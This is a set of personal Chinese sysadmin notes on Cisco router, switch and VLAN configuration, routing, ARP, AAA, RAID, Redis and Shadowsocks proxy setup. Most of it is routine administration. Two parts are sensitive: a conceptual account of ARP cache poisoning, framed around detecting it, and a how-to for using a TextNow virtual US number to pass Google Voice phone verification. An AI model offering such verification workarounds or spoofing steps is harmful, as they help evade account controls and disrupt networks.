路由器配置: router(config)#int s0/0 ;进入Serail接口 router(config-if)#no shutdown ;激活当前接口 router(config-if)#clock rate 64000 ;设置同步时钟 router(config-if)#ip address ;设置IP地址 router(config-if)#ip address second ;设置第二个IP router(config-if)#int f0/0.1 ;进入子接口 router(config-subif.1)#ip address ;设置子接口IP router(config-subif.1)#encapsulation dot1q ;绑定vlan中继协议 router(config)#config-register 0x2142 ;跳过配置文件 router(config)#config-register 0x2102 ;正常使用配置文件 router#reload ;重新引导

路由器文件操作: router#copy running-config startup-config ;保存配置 router#copy running-config tftp ;保存配置到tftp router#copy startup-config tftp ;开机配置存到tftp router#copy tftp flash: ;下传文件到flash router#copy tftp startup-config;下载配置文件

交换机配置导出:

eg. TFTP -i 192.168.1.111 put 111.txt   二、PC与交换机通信

方法一:采用console线+网线连接,软件可使用远程终端对交换机进行操作。
方法二:采用网线连接,软件可使用SecureCRT.EXE对交换机进行telnet。
两种方法都需要将PC机和交换机的IP设置为同一网段。   三、交换机配置的导出

在交换机上输入命令 copy running-config tftp
后按照提示输入你搭建的TFTP服务器IP(即PC机的IP)和目的文件名(文件路径为TFTP服务器根目录)   四、交换机配置的导入

TIPS:
1、startup-config是写入路由器的配置文件,每次路由器启动的时候都会从中读取配置信息。startup-config存储在NVRAM中,NVRAM是非易失性随机访问存储器 (Non-Volatile Random Access Memory),是指断电后仍能保持数据的一种RAM。 2、running-config是正在交换机内存中运行的配置文件,即正在生效的。running-config存储在DRAM中,断电后全部丢失。   在交换机上输入命令 copy tftp running-config 或者copy tftp startup-config
后按照提示输入你搭建的TFTP服务器IP(即本机IP)和源文件名(文件路径为TFTP服务器根目录)完成配置文件的导入。   从交换机断电配置文件会丢失的角度来看,
输入命令copy tftp running-config后需要copy running-config startup-config或者reload,那么交换机断电后,配置文件不会丢失;
输入命令copy tftp startup-config后交换机断电,配置文件不会丢失。   TIPS:
1、reload命令:热重启交换机,配置文件不会丢失。配置完数据之后从新启动,配置的数据就会保存在设备里面。
2、断电重启:冷重启交换机,running-config文件会丢失。

  1. enable 进入特权模式…
    1. show version 查看系统版本信息
    2. show mac-address-table 查看 mac 地址表
    3. reload 重启设备.

Cisco Call Manager / CM

浏览器 不能用 Chrome

7 speed dial

Call Routing → Translation Patterm 选一个 打钩. 右边点 复制. 按照别人的输入 手机号码就可以了.

改号码

Device → Phone → 改下名字. 改下座机号码. 保存就可以了.

**呼叫转移. 西门子 和 Cisco 只要设置一遍就好了.

CallManager 思科 IP 电话管理.

最多支持 240+ IP 电话

  • CLI 命令行(SSH)
    • GUI Web图形界面.

      分三个级别

      1. 系统管理员
      2. 客户管理员
      3. 用户

官方支持文档

密码恢复: 插入镜像光盘 能恢复Administrator密码.

出色的 服务质量(QOS) 网络安全 加密 防火墙 网络模块. 语音留言, 自动接听.

思科 统一 通信解决方案中强大的呼叫处理组件。 一个可扩展、可分布、高度可用的企业IP语音呼叫处理解决方案。

Cisco Unified Communications Manager软件将企业电话特性和应用扩展至分组电话网络设备,如IP电话、介质处理设备、IP语音(VoIP)网关和多媒体应用。其他的数据、语音和视频服务,如统一信息处理、多媒体会议、联络中心和互动多媒体响应系统,都可通过Cisco Unified Communications Manager开放电话应用编程界面(API),与IP电话解决方案实现互动。Cisco Unified Communications Manager可安装在Cisco Media Convergence Server(MCS)7800和特定第三方服务器上。

Cisco Unified Communications Manager提供了一种可扩展、可分布和高可用的企业IP电话呼叫处理解决方案。它集群了多个Cisco Unified Communications Manager服务器,并将其作为单一实体进行管理。在IP网络上集群多个呼叫处理服务器在业内堪称是一种独特的功能。Cisco Unified Communications Manager集群实现了每个集群从1到30000部IP电话的可扩展性、负载均衡和呼叫处理服务冗余。通过互联多个集群,系统容量可以扩展至100多个站点系统100多万名用户。

互联网操作系统(Internetwork Operating System,简称IOS)是思科公司为其网络设备开发的操作维护系统。 用户通过命令行人机界面对网络设备进行功能设置,提供的功能大致为以下几点:网络设备及连接端口的功能首选项设置、运行网络协议与网络功能设备间之数据传输安全管理设置。

GNS3 推荐IOS: c3640, c3660, c3725, c3745 and c7200 . // 别的不一定兼容.

Cisco Router + 模拟器

模拟器: 模拟设置.学习用. 类似 VM VB 等虚拟机.

  1. Cisco Packet Tracer 6.2 网络模拟器中文正式版,带中文汉化补丁, 将文件Chinese.ptl拷贝到C:\Program Files (x86)\Cisco Packet Tracer 6.2sv\languages目录下, 运行Cisco Packet Tracer 6.2,在选项中修改语言。

GNS3

不是支持 所有设备的虚拟. 有些.bin 文件 → Sorry, this is not a valid IOS image! 免费软件 官网下载 . 和虚拟机一样 需要 cisco 路由系统的镜像文件( .bin 格式的 )

设置 → Dynamips → ios routers → 选择下载的 .bin 镜像. → 一路 NEXT.

开机: 拖出路由器到主界面. 右键 start
进入命令窗口: 开机后双击路由图标

command

  • 版本信息: show version
  • 命令补全: en + TAB → enable

  • 特权命令模式: R1# or Switch#

  • 用户命令模式: R1> or Switch> // 用户命令模式 只能使用一些查看命令.

  • 全局配置模式: switch(config)#
  • 端口配置模式: switch(config-if)#

switch(config)#hostname 更改交换机名字.

检查、查看命令

show (sh) 开始

show flash 查看内存 show mac-address-table 查看 Mac 地址列表

交换机 配置 VLAN VLAN 可以把一个物理网络 划分成多个逻辑网段 因此 Vlan 可以抑制网络风暴 增强网络的安全性

两种方式 创建 vlan 全局配置模式下: vlan 10

或者 vlan database 下 创建 vlan: switch(vlan)vlan 20

更好局域网交换机名字 终端下 输入 hostname xx 就变成 xx 了.

创建 vlan xx(config) vlan 10 xx(config-vlan)# name xujian xx(config-vlan)# exit

把端口给 vlan

switch(config)# interface fastethernet0/1 进入端口配置模式 switch(config)# switchport mode access 配置端口为 access 模式 switch(config)# swtchport access vlan 10 把端口划分给 vlan 10

一次把多个端口 分给某Vlan :interface range

xx(config-if-range)#interface range fa0/5 -6

查看 vlan 信息

switch# show vlan

静态路由配置

了解静态原理

如:
一网络 里面 三个网段 192.168.1.1 192.168.2.1 192.168.3.1

1.1 下面的电脑 要访问 2.1/3.1 需要 数据包 发给 1.1 的路由器 1.1 的路由器 由于没有 2.1/3.1 的路由 所以需要 手动来 配置 静态路由. 数据是双向的 .

路由器1 需要 ip route 192.168.2.0 255.255.255.0 10.1.12.2 // 把 前往2.0网段的数据 发送给总的网关. 再进行转发.

动态路由:

静态路由: 网管 手工配置路由信息. 当拓扑图发生变化时候 网管要手工去改 路由表中的静态路由信息.

静态路由信息 默认情况下是 私有的 不会传递给别的路由器. 当然 网管可以通过对路由器进行设置使之成为共享的.

静态路由 适用简单网络环境. 网管比较了解网络的拓扑结构,方便正确设置路由信息.

优点: 网络安全 保密性高. 很少占用路由器 cpu 和 RAM 和线路带宽

动态路由: 路由器之间需要频繁的交换各自的路由表, 通过分析这些路由表 可以分析 出网络的 拓扑结构+网络地址等信息. 因此有安全隐患.

大型网络 不宜选用静态路由

一方面 网管难以全面了解 整个网络拓扑结构 另一面 当网络拓扑发生改变 静态路由表 需要大范围的调整 难度和复杂度非常高

静态路由举例:

IP 省略前面的 192.168.

PCA (0.2 ) <—> ( 0.1 ) Router1 ( 1.1 ) <—> ( 1.2 ) Router2 ( 2.1 ) <—? PCB ( 2.2 )

默认 A B 是不能通信的. A 不知道 B 的网段 ( 也就是没有去玩 B 网段的路由表 ) B 不知道 A 的网段 → 通信失败.

这时候 就需要 在 R1 R2 上 分别配置静态路由来使得 AB 可互通.

R1 上执行 添加静态路由的命令: ip route 192.168.2.0 255.255.255.0 192.168.1.1 // 告诉 R1 如果有去2.0网段的 IP 包, 将包发个 192.168.1.1

R2 上执行 ip route 192.168.0.0 255.255.255.0 192.168.1.1 // 告诉 R2 如果有去0.0网段的 IP 包, 将包发个 192.168.1.2

这样 A→B 的包 会通过 R1 的 0.0网段 转给 1.1的网口 再转给R2的 1.2的网口 再转给2.0 网段

默认路由: ( 属于 静态路由的一种 )

指的是 当路由表中与包地址 之间没有匹配项目时 路由能做出选择, 如果 没有默认路由 那么 没有匹配项的包将被丢弃.

路由器得查看路由表 决定 如何转发数据包. 用静态路由 一个一个配置 太烦易错.

如果 路由器 有个邻居 知道怎么前往所有目的地 可以把路由表匹配任务交给他 省事. 这个邻居 就是网关. 如果 路由器 连到网关, 那么 所有的数据包都会转发给网关.

默认路由 是 0.0.0.0 (就是 你 不去手动去设置网关) 匹配 ip 地址的时候 0 表示 wildcard / 通配符 . 任何值都可以.

静态路由信息在默认情况下是私有的,不会通告给其它路由器,也就是当在一个路由器上配置了某条静态路由时,它不会被通告到网络中相连的其它路由器上。但网络管理员还是可以通过重发布静态路由为其它动态路由,使得网络中其它路由器也可获此静态路由。

静态路由是具有单向性的,也就是它仅为数据提供沿着下一跳的方向进行路由,不提供反向路由。所以如果你想要使源节点与目标节点或网络进行双向通信,就必须同时配置回程静态路由。这在与读者朋友的交流中经常发现这样的问题,就是明明配置了到达某节点的静态路由,可还是ping不通,其中一个重要原因就是没有配置回程静态路由。

如果某条静态路由中间经过的跳数大于1(也就是整条路由路径经历了三个或以上路由器结点),则必须在除最后一个路由器外的其它路由器上依次配置到达相同目标节点或目标网络的静态路由,这就是静态路由的“接力”特性,否则仅在源路由器上配置这么静态路由还是不可达的。    就像你要从长沙到北京去,假设中间要途经的站点包括:武汉-郑州-石家庄,可人家只告诉你目的地是北京,以及从长沙出发的下一站是武汉。对于一个没有多少旅游经验的人来说,你是不可能知道到了武汉后又该如何走,必须有人告诉你到了武汉后再怎么走,到了郑州后又该怎么走,……。这就是“接力性”。

经验之谈】路由器各端口上所直接连接的各个网络都是直接互通的,因为它们之间默认就有直连路由,无需另外配置其它路由。也即连接在同一路由器上的各网络之间的跳数为0。

代理工具.

查看所有 HTTP HTTPS 流量.

Apt-get

Debian Kali …

  • install apt-get install packagename
  • reinstall apt-get install package

  • remove (keep configure ) apt-get remove packagename
  • remove (delete configure) apt-get -purge remove packagename 

  • Search apt-cache search httpd

  • fix apt-get -f install packagename

更新源 apt-get update 更新已安装软件 apt-get upgrade 更新系统版本(核心升级) apt-get dist-upgrade

安装 SSH

  • 客户端 openssh-client
    • 服务端 openssh-server apt-get install openssh-server -y

      -y 出来提示 就不用手动按 y 键了.

apt-cache search package 搜索包 apt-cache show package 获取包的相关信息,如说明、大小、版本等 sudo apt-get update 更新源sudo apt-get upgrade 更新已安装的包 sudo apt-get dist-upgrade 升级系统 sudo apt-get dselect-upgrade 使用 dselect 升级 apt-cache depends package 了解使用依赖 apt-cache rdepends package 是查看该包被哪些包依赖 sudo apt-get build-dep package 安装相关的编译环境 apt-get source package 下载该包的源代码 sudo apt-get clean && sudo apt-get autoclean 清理无用的包 sudo apt-get check 检查是否有损坏的依赖

apt-get update 
更新系统
apt-get upgrade 
升级系统

apt-get dist-upgrade
 安装更新

apt-get install fcitx-table-wbpy ttf-wqy-microhei ttf-wqy-zenhei  #拼音五笔 apt-get install ibus ibus-pinyin         #经典的ibus apt-get install fcitx fcitx-googlepinyin               #fcitx拼音 reboot 重启之后即可!

安装 php

ARP

每台电脑 本地 都有一个arp表.

  • 这个表是动态的.

本地电脑只有和自己有关系的ARP 缓存表.

路由器上的 arp 表是最全的.

Win

arp -a
//显示 所有接口的 ARP 缓存表.

arp -a -N 172.19.16.166 //显示特定接口的 ARP 缓存表.

arp -d 删除 arp -s 手动添加静态 arp 表. arp -a 增加

ARP 绑定.

双向的! 本地和网关 都要绑定.


  • 查看所有参数 arp -a

  • 导出文件: arp -a >/users/v/desktop/mb/xx.txt

  • 分页显示: arp -a | less

  • 把 192.168.1.2 解析成 00-11-22-33-44-55 arp -s 192.168.1.2 00-11-22-33-44-55

  • 删除 arp arp -d

  • 增加 arp arp -a

ARP

arp:将ip 解析成 物理 mac 地址的协议.

也就是 将 网络层(osi 第三层) 借此成 数据链路层.(osi 第二层)

ip 到 mac 地址 映射方式有两种 表格方式 和 非表格方式

原理: 主机 a 向 b 发送报文.

  1. 首先 a 查询本机的 arp 缓存表.

  2. 查到b的 mac → 进行数据传输.
  3. 未查到: a 发广播 (a的 ip&mac)

    所有电脑 都会受到这个 广播.
    只有 b 会回应这个请求报文
    并返回b的 IP&mac 地址.

比如 a b c 三电脑. c 是服务器 ab 是客户端.
b 发送一个arp报文 ( 说 c 的 mac 地址是 … 瞎编一个地址. ) 这些全网的 电脑的 arp 缓存表 里面 c 的 mac 地址就被替换掉了. 导致不能和 c 进行沟通.

ARP 欺骗

ARP病毒的基本原理 发送伪造的ARP欺骗广播,中毒电脑自身伪装成网关的特性,就可以快速锁定中毒电脑。

在网络正常的时候,牢牢记住正确网关的IP地址和MAC地址,并且实时监控着来自全网的ARP数据包, 当发现有某个ARP数据包广播,其IP地址是正确网关的IP地址,但是其MAC地址竟然是其它电脑的MAC地址的时候,这时,无疑是发生了ARP欺骗。对此可疑MAC地址报警,

在根据网络正常时候的IP-MAC地址对照表查询该电脑,定位出其IP地址,这样就定位出中毒电脑了。

下面详细说一下如何利用命令行方式检测ARP中毒电脑的方法.  

,利用系统自带的ARP命令即可完成。当局域网中发生ARP欺骗的时候,ARP病毒电脑会向全网不停地发送ARP欺骗广播,这时局域网中的其它电脑就会动态更新自身的ARP缓存表,将网关的MAC地址记录成ARP病毒电脑的MAC地址,这时候我们只要在其它受影响的电脑中查询一下当前网关的MAC地址,就知道中毒电脑的MAC地址了,查询命令为 ARP -a,需要在cmd命令提示行下输入。输入后的返回信息如下:  Internet Address Physical Address Type  192.168.0.1 00-50-56-e6-49-56 dynamic  这时,由于这个电脑的ARP表是错误的记录,因此,该MAC地址不是真正网关的MAC地址,而是中毒电脑的MAC地址!这时,再根据网络正常时,全网的IP—MAC地址对照表,查找中毒电脑的IP地址就可以了。由此可见,在网络正常的时候,保存一个全网电脑的IP—MAC地址对照表是多么的重要。可以使用nbtscan工具扫描全网段的IP地址和MAC地址,保存下来,以备后用。 方法是:
arp -a   查看MAC【注:对于是用arp -a 命令来查看mac地址表,此时出现的mac地址并不一定是网关的mac地址,随着arp的不断变种,出现的mac地址表很有可能是内网中其他计算机的mac地址。】
arp -d  清空ARP缓存 
arp -s   绑定网关,格式为   arp -s ip mac   :ARP -S 网关IP 网关MAC

如何看 是否有 arp 攻击. 电脑装个 arp 防火墙.就能知道了 . 或者 路由器 mac 和 ip 绑定.

测试环回地址。

不管是linux、unix还是windows系统,都有一个为127.0.0.1这样的ip地址。 这是一个特殊ip地址,称为主机环回地址。

测试功能 127.0.0.1常用来在本机测试各种网络服务,下面列举一些事例: 1、测试sshd服务是否正常。在控制台上运行命令 ssh 127.0.0.1如果出现要求输入密码则表明sshd服务正常。 2、测试ftp服务。在控制台运行命令 ftp 127.0.0.1 ,某个控制台的输出入下: -bash-3.00# ftp 127.0.0.1 ftp: connect: Connection refused ftp>

这个输出表明ftpd服务不正常,正常提供网络服务的ftp输出应该是这样的: -bash-3.00# ftp 127.0.0.1 Connected to 127.0.0.1. 220 (vsFTPd 2.0.5) Name (127.0.0.1:root):

3、测试邮件服务

4、查看系统都开放了那些端口。Nmap工具是个非常好的选择,输出结果远比netstat 直观。

Nmap run completed – 1 IP address (1 host up) scanned in 0.224 seconds

本地应用程序连接 象apache+php+mysql这样的应用环境,应用程序与mysql数据库同时存在于同一个系统上面,常用环回地址127.0.0.1做套接字的ip地址。

在这里可能有人会质疑:不用环回地址可不可以?答案是肯定的,用主机某个网络接口的ip就可以代替这个环回地址。那这里为什么还要强调这个环回地址呢?主要的原因是方便和稳定。网络接口的地址可能因为某种原因被更改(如服务器搬迁到别的地理位置),或者应用被迁移到另外的系统,象前面描述的apache+php+mysql 环境,由于使用了环回地址127.0.0.1,就不会受ip地址改变的影响,反之亦然。有的网络服务,对它自身所监听的网络接口—如把apache的监听设置成 “Listen 192.168.27.201:80”—依赖性比较高,一旦网络接口中断(down),服务本身也可能停止,如果采用默认的监听地址127.0.0.1就不会发生这种情况。

测试 本机网卡好坏.

网卡 好坏. 两个灯 红灯 电源.. 绿灯 网络. 不亮/常亮 都有问题. 不传输数据 闪烁慢. 传数据 闪烁快.

· 输入“ping 127.0.0.1”(对每一台计算机都是相同的,所以你不需要更改设置)。这会测试计算机的网络芯片,而非你的调制解调器,路由器或互联网连接。 · 按“回车”开始执行ping操作。 · 在命令的末尾输入“-t”,以进行连续测试。 · 要退出连续测试,按“Ctrl + C”。 · 在命令的末尾输入“-n 20”以发送20个ping命令。任何值取代20(该值将被限制为32位或64位的整数)。 · 如果一切正常,你会看到类似: · 看看ping统计。他们应该会报告0 %的损失。 · 关注响应时间,因为它代表着计算机和服务器之间连接的延迟。两位数的值(如50毫秒,或更低)是很好的。这种变化极大地取决于所在服务器与你的电脑如何连接。一般地,大多数的连接应有小于几百毫秒的延迟。如果没有网络连接,你将看到“请求超时”的字样,并不断重复。

ACS

172.19.16.11

安全访问控制服务器. 给思科网络 提供基于身份的全面的访问控制解决方案

Secure ACS 访问控制服务器.

验证 用户访问. 和管理员的 访问与控制结合在一起的 一个集中的 身份识别网络 解决方案.

AAA

大公司 全套 Cisco. 为了加强 设备的安全性. 要求多设备的维护和操作 要求 一人一号 不同人员登录设备的权限不一样.

客户日常管理设备和修改配置文件,大多数都是通过远程Telnet或者SSH方式来完成。配置远程登录用户名和密码 网络拓扑(客户管理人员在办公室需要通过超级终端或者SecureCRTd等软件,来登录),初始配置,就必须先从console登录,配置好远程登录用户名和密码,以后的调试和配置,就不用奔波下楼到机房,插上console线路再调试

需求实现方法:

  1. 无 AAA 认证 安全性低

console 线登录设备. 配置远程登录用户和密码. 远程登录测试结果

  1. 有 AAA 认证 安全性高

在1的基础上. 配置 AAA 认证和授权.

对用户的操作命令做了记录,某人,某个时间段,登录设备,执行哪些命令,几点离开的等都可以通过aaa来实现的,如果没有aaa,则要实现对用户的行为进行审计就比较困难了,关键是管理复杂了,客户执行起来非常不便。

ACS Server查询本地的数据库,如果客户端发送的用户名和密码和本地数据库的一样,则认证通过,再依据你的授权配置完成 相应的授权,审计也更加容易实现,可以和SQL等数据库结合起来,把用户的访问记录从开始到结束,全部记录下来,然后管理员可以随时查看处理这些问题

到底什么样的服务器是ACS Server?答案很简单是吧,能提供AAA认证,授权,审计等功能一台Windows Server 服务器,该服务器上必须安装的是Cisco Secure ACS 软件,这样服务器我们就可以称为ACS Server

配置ACS服务器的认证密钥,密钥的建议是8个字符,包含大小写。 这是很多人可能会发生疑问,为什么要配置ACS 的认证密钥?什么时候会用? 再看文章前面的拓扑,ACS_Client(192.168.10.3),不是说ACS服务器还需要在路由器上来安装个什么客户端的软件,而这里的意思是我给你路由器的起的名称,在这一台路由器上来配置AAA的认证、授权、审计,当访问客户端(192.168.10.1),要通过Telnet,SSH,Console形式登陆路由器调试和配置时,路由器会要求检查用户的身份是否合法,也就是要求用户输入登录的用户名和密码,那么登录的用户名和密码,是在ACS服务器来配置的,ACS Server 和 路由器之间链路是通的,这时当用户在键盘上输入登录的用户名和密码,路由器把登录的请求和客户端的输入的密码发送到ACS 服务器上来请求验证,这个用户名和密码是否合法,在验证用户名和密码的合法性之前,就首先要确定这台路由器的身份是合法的,怎么确定路由器的身份是合法的,在路由器和ACS Server之间通讯会有一个密码,用这个密码来验证其合法性.

WDS 无线中继设置 路由器

ssid 可以不一样 信道要一样 hdcp 只能有一个.

BurnAware Free

win32diskimager 能刻录各种 iso 到 U盘

错在 mac 的app 没接到电话..只有个电话提醒 网页 也不知道怎么接电话….

http://weibo.com/ttarticle/p/show?id=2309404006369677204681

需要一个美国本地的座机来接听谷歌的验证电话

我们这里 在网页上注册一个虚拟的美国座机号码. 然后手机下载 textnow 这个app. 也可以下载 电脑端的 app 选择一个就可以… 需要美国appid帐号下载…. itunes → 右下角选择美国 itunes 顶栏 → account → 登录美国apple id (可能需要 翻墙)

然后去 apple atore 右下角地点改成美国 输入美国的apple id 帐号密码然后就能下载了….

谷歌voice 的验证电话 会打到这个座机.

通过电脑 来接听电话… https://www.textnow.com/ 这个网站 注册帐号 填写区号: 201

然后 就可以获得 手机号码 (201) 426-6507

去注册的邮箱 激活!!!!!

然后就去 google 申请 google voice了…

https://www.google.com/voice/b/0/?setup=1#setup/

输入 第一步获取的 手机号码

点击拨打电话….

去下载好的app里 接听电话….. 这里 代理可能要开全局模式….

再 去 tor 官网 下载 tor 浏览器

运行 不能直链 先配置
再 isp是否封锁 下 选择 是 网桥配置 选择meek 开头的 是否需要本地代理 选择否 连接 等待 几分钟。 就能上了 。

Surge - Wall

先配置好 IOS的.

iOS ’s surge dowmloadn

  1. config use include??

Mac-OS:

  1. surge.conf配置文件的命名为 .surge.conf

    (文件要配置ss信息,ios 配置过这里就不用了) 重命名要 终端去重命名 . mv xx xxx

  2. 再把它放到/Users/Mac用户名/.surge.conf

SS & Wall SS-Share

qq 代理   类型 socks5  地址127.0.0.1  端口 1080   用户密码都留空    前提:开启自动翻墙.  实现 qq 全局翻墙 

windows 的 ss → 设置 允许局域网的连接.

可以让 手机等等翻墙.

获取电脑的 ip 地址

去手机的 wifi 选项 → 属性 → http 代理 → 自动代理 → http://192.168.1.228:1080/pac ip 改成你自己的

返回.就能上谷歌网页了. 客户端也行?????

qq 代理   类型 socks5  地址127.0.0.1  端口 1080   用户密码都留空    前提:开启自动翻墙.  实现 qq 全局翻墙 

Shadowsocks

购买网页链接: 账号 密码.

Ubuntu:

  1. Install
    • python — version 查看版本.
      • 然后安装 PIP 环境 apt–get install python–gevent python–pip
      • 安装 shadowsocks pip install shadowsocks
    1. Configure :
      • 新建一个 config.json,或者其他名字的都行,
      • 位置可以放在/etc/shadowsocks/

        默认没有这个文件,你要自己创建一个,或者home或者其他任何地方。

        { “server”:“198.74.49.76”, “server_port”:8388, “local_port”:1080, “password”:“password”, “timeout”:600, “method”:“aes-256-cfb” }

关于nohup,是可以让程序在后台运行的命令。 同时可以用命令行参数覆盖 /etc/shadowsocks.json 里的设置: sslocal -s 服务器地址 -p 服务器端口 -l 本地端端口 -k 密码 -m 加密方法 ssserver -p 服务器端口 -k 密码 -m 加密方法 备注:sslocal是客户端程序;ssserver是服务端程序。

  1. 防火墙设置(如有) 编辑防火墙配置文件/etc/sysconfig/iptables,将服务器端口(server_port)放行。 新增一条防火墙规则: -A INPUT -m state –state NEW -m tcp -p tcp –dport 8989 -j ACCEPT 重启防火墙iptables: service iptables restart 至此,服务器端的 Shadowsocks 安装和配置完毕。

在ubuntu下安装shadowsocks

  1. sudo apt-get update
  2. sudo python –version
  3. apt-get install python-gevent python-pip
  4. pip install shadowsocks
  5. 找到shadowsocks文件夹的命令: sudo find / -name shadows ”/”是根目录下, 是通配符 进入ss文件夹 新建文件 并修改
  6. 修改config.js { “server”:”127.0.0.1”, “server_port”:8388, “local_port”:10808, “password”:”0219“, “timeout”:600, “method”:null }
  7. 后台长期启动shadowsockts nohup ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json > log & 查看后台启动任务: jobs 关掉 fg %n  
  8. 开机自动启动: cd /etc/ sudo vim rc.local 加上一行: /usr/local/bin/ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json  

 

  • 启动SS客户端 前两步很简单,可是有人就纳闷了安装好了不知道怎么用,其实可以用sslocal -help来查看帮助就知道了。 sslocal -s server_ip -p server_port  -l 1080 -k password -t 600 -m aes-256-cfb -s表示服务IP, -pt指的是服务端的端口,-l是本地端口默认是1080, -k 是密码(要加”“), -t超时默认300,-m是加密方法默认aes-256-cfb, 可以简单的写为:sslocal -s ip  -p  port -k “password”    #用-s -p -k这三个参数就好,其他的默认将服务端的加密方法设为aes-256-cfb。然后就可以启动代理。

qq 代理   类型 socks5  地址127.0.0.1  端口 1080   用户密码都留空    前提:开启自动翻墙.  实现 qq 全局翻墙 

  • 下载 cent os镜像(everything的那个) ✚ centos u盘制专用作工具 .
  • 准备8G u盘 并制作 启动盘.
  • 安装注意点: 标准分区模式; 必须分区: / 和 swap ;建议分区: /boot 500M, /home 自定义大小

IP 配置 ( 需要用root用户操作)

cd /etc/sysconfig/network-scripts/ 进网卡配置目录

3: 尾行添加 ipaddr0=192.168.1.219 vi ifcfg-eno1 用vi编辑这个网卡配置文件 prefixo0=24 设置子网掩码 修改 1: bootproto=static 启用静态ip地址 第二行 gatewat0=192.168.1.1 设置网关 2: onboot=yes 自动连接网络 最后一行. dns1=202.96.209.133 dns2=202.96.209.5 然后:wq 保存退出.
重启网络: service network restart 测试网络: ping www.baidu.com ctrl+c 中止ping

安卓刷机

开机键 + 音量下  选recover 或者 factory reset ww 双清 就好了

IOS DFU 刷机

Device Firmware Upgrade 设备 固件 升级 电源+home  8秒  强制关机 home 8秒-usb连itunes 进入刷机模式

黑群晖 教程 http://jy.smzdm.com/detail/20115 下载文件 U盘一个 大于64M

打开下好的 win32 工具 把 alpha7-4458 写入U盘 U盘插电脑 U盘启动 第二行安装 客户端 群晖助手 查找NAS 载入 4458.pat 浏览器 输入ip 进去 ok## Raid Server Conf

重新建 raid 之后 就算硬盘是没数据的 也要 sync 同步下的. 算初始化吧

USB 开启启动选项是 擦了 USB 才会出现的!!!!! 

插usb 之后 最好重启下才能看到 usb 启动选项.

SAS 配置 就是 Raid 卡.

也就是 连硬盘数据线的那块设备

开机自检: 看 SAS 阵列卡 是否有检测到. 有的话 Ctrl+C 进入配置.

VD 虚拟磁盘 PD 物理硬盘 HS hot spare 热预备

先选 raid0 或者 raid1

然后 进去 选哪块硬盘到这个 raid!! 空格选硬盘 然后保存.

raid level → 支持的 raid 级别. Shadowsocks / Surge包年套餐购买链接

qq 代理 类型 socks5 windows 的 ss → 设置 允许局域网的连接. 可以让 手机等等翻墙. 获取电脑的 ip 地址 去手机的 wifi 选项 → 属性 → http 代理 → 自动代理 → http://192.168.1.228:1080/pac ip 改成你自己的 返回.就能上谷歌网页了. 客户端也行?????

先配置好 IOS.(自己购买或者找共享帐号密码的)

不要用同步推,那种只能在IOS上用.不能在Mac上用. 因为Mac版本的Surge 需要IOS版本的Surge 激活. iOS ’s surge

  1. config use include??

Mac-OS:

  1. 新建 surge.conf配置文件 命名为 .surge.conf
    >(文件要配置ss信息,ios 配置过这里就不用了)
    >重命名要用终端命令: mv xx xxx

  2. 再把它放到/Users/Mac用户名/.surge.conf

Ubuntu:

  1. Install ◦ python — version 查看版本.

◦ 然后安装 PIP 环境

  1. apt–get install python–gevent python–pip ◦ 安装 shadowsocks

  2. pip install shadowsocks

  3. Configure :

  4. 新建一个 config.json,或者其他名字的都行,

  5. 位置可以放在/etc/shadowsocks/
    > 默认没有这个文件,你要自己创建一个,或者home或者其他任何地方。

    { “server”:“198.74.49.76”, “server_port”:8388, “local_port”:1080, “password”:“password”, “timeout”:600, “method”:“aes-256-cfb” } 关于nohup,是可以让程序在后台运行的命令。 同时可以用命令行参数覆盖 /etc/shadowsocks.json 里的设置: sslocal -s 服务器地址 -p 服务器端口 -l 本地端端口 -k 密码 -m 加密方法 ssserver -p 服务器端口 -k 密码 -m 加密方法 备注:sslocal是客户端程序;ssserver是服务端程序。

  6. 防火墙设置(如有)
    编辑防火墙配置文件/etc/sysconfig/iptables,将服务器端口(server_port)放行。
    新增一条防火墙规则:
    -A INPUT -m state –state NEW -m tcp -p tcp –dport 8989 -j ACCEPT
    重启防火墙iptables:
    service iptables restart
    至此,服务器端的 Shadowsocks 安装和配置完毕。

在ubuntu下安装shadowsocks

  1. sudo apt-get update

  2. sudo python –version

  3. apt-get install python-gevent python-pip

  4. pip install shadowsocks

  5. 找到shadowsocks文件夹的命令: sudo find / -name shadows ”/”是根目录下, 是通配符

进入ss文件夹 新建文件 并修改

  1. 修改config.js

{ “server”:”127.0.0.1”, “server_port”:8388, “local_port”:10808, “password”:”0219“, “timeout”:600, “method”:null }

  1. 后台长期启动shadowsockts

nohup ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json > log & 查看后台启动任务: jobs 关掉 fg %n

  1. 开机自动启动:

cd /etc/ sudo vim rc.local 加上一行: /usr/local/bin/ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json • 启动SS客户端
前两步很简单,可是有人就纳闷了安装好了不知道怎么用,其实可以用sslocal -help来查看帮助就知道了。
sslocal -s server_ip -p server_port -l 1080 -k password -t 600 -m aes-256-cfb
-s表示服务IP, -pt指的是服务端的端口,-l是本地端口默认是1080, -k 是密码(要加”“), -t超时默认300,-m是加密方法默认aes-256-cfb,
可以简单的写为:sslocal -s ip -p port -k “password” #用-s -p -k这三个参数就好,其他的默认将服务端的加密方法设为aes-256-cfb。然后就可以启动代理。

Redis

Redis REmote DIctionary Server 远程字典服务器

Redis是一个开源、支持网络、基于内存、键值对 存储数据库. Redis通常将全部的数据存储在内存中。性能优势非常明显!! 当然内存断电的问题: 将内存中的数据 异步写入硬盘.

某人对 MySQL 性能感到失望. 就自创了 Redis 数据库.

如今: Web 开发 最火热的内存数据库之一 新浪 知乎 GitHub 等等 都使用 Redis.

官网 GitHub 链接

安装: 没有外部依赖 安装非常简单. wget http://download.redis.io/releases/redis-3.0.7.tar.gz tar xzf redis-3.0.7.tar.gz cd redis-3.0.7 make make test //进行测试! 是否安装成功.

启动: src/redis-server

Redis 以字典结构存储数据 允许其他应用通过 TCP 协议读写字典中内容.

字典中的 键值 可以死字符串 和 其他数据类型.

  • 字符串类型
  • 散列类型
  • 列表类型
  • 集合类型
  • 有序集合类型

这种结构 和 mysql 等关系型数据库的 二维表形式的存储结构有很大差异.

可以设置 每个键 的 生存时间 Time To Live TTL. 生存时间到期后 键会自动被删除.

使用简单稳定: SQL 取得 posts 表内 id 为1的记录的 title 字段的值: select title from posts where id = 1 limit = 1

Redis hget post:1 title

Redis 提供 100+ 命令 常用的 十几个 . 非常好记 . 比 SQL 语言简单多了.

启动 和 停止 Redis 了解下 redis 的可执行文件有哪些

